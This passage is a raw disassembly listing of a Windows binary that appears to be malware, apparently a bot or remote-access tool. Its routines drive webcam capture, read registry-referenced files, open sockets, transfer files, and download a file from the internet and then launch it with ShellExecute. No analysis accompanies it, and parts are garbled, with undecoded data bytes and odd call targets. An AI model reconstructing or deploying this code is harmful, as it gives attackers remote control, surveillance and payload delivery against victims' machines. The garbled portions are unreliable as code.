[ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361F4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361F4 mov esi, offset dword_436200 mov edi, offset dword_4373F8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373F4 ; "=" push eax call sub_41C0F4 push offset asc_4373F4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22DA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A2AAE856h, 6A90022Dh, 0A69EE864h, 33900227h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 45E89064h, 6A0227A6h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h db 2Dh, 2 ; --------------------------------------------------------------------------- loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437574 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437550 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_437474 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 271092Ch nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437530 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax call near ptr 2750AD6h nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437518 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437500 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374DC loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2790000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] call near ptr 2710000h nop push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 2670858h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26F0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437498 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2690000h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 271092Ch cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax call near ptr 2670858h nop lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375E4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375C4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437498 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26F0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437598 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 271092Ch cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26F0000h loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi call near ptr 26A0B9Fh nop mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 2700000h nop cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377B8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437790 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437764 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 26A0B9Fh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2670858h push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43773C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437704 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz 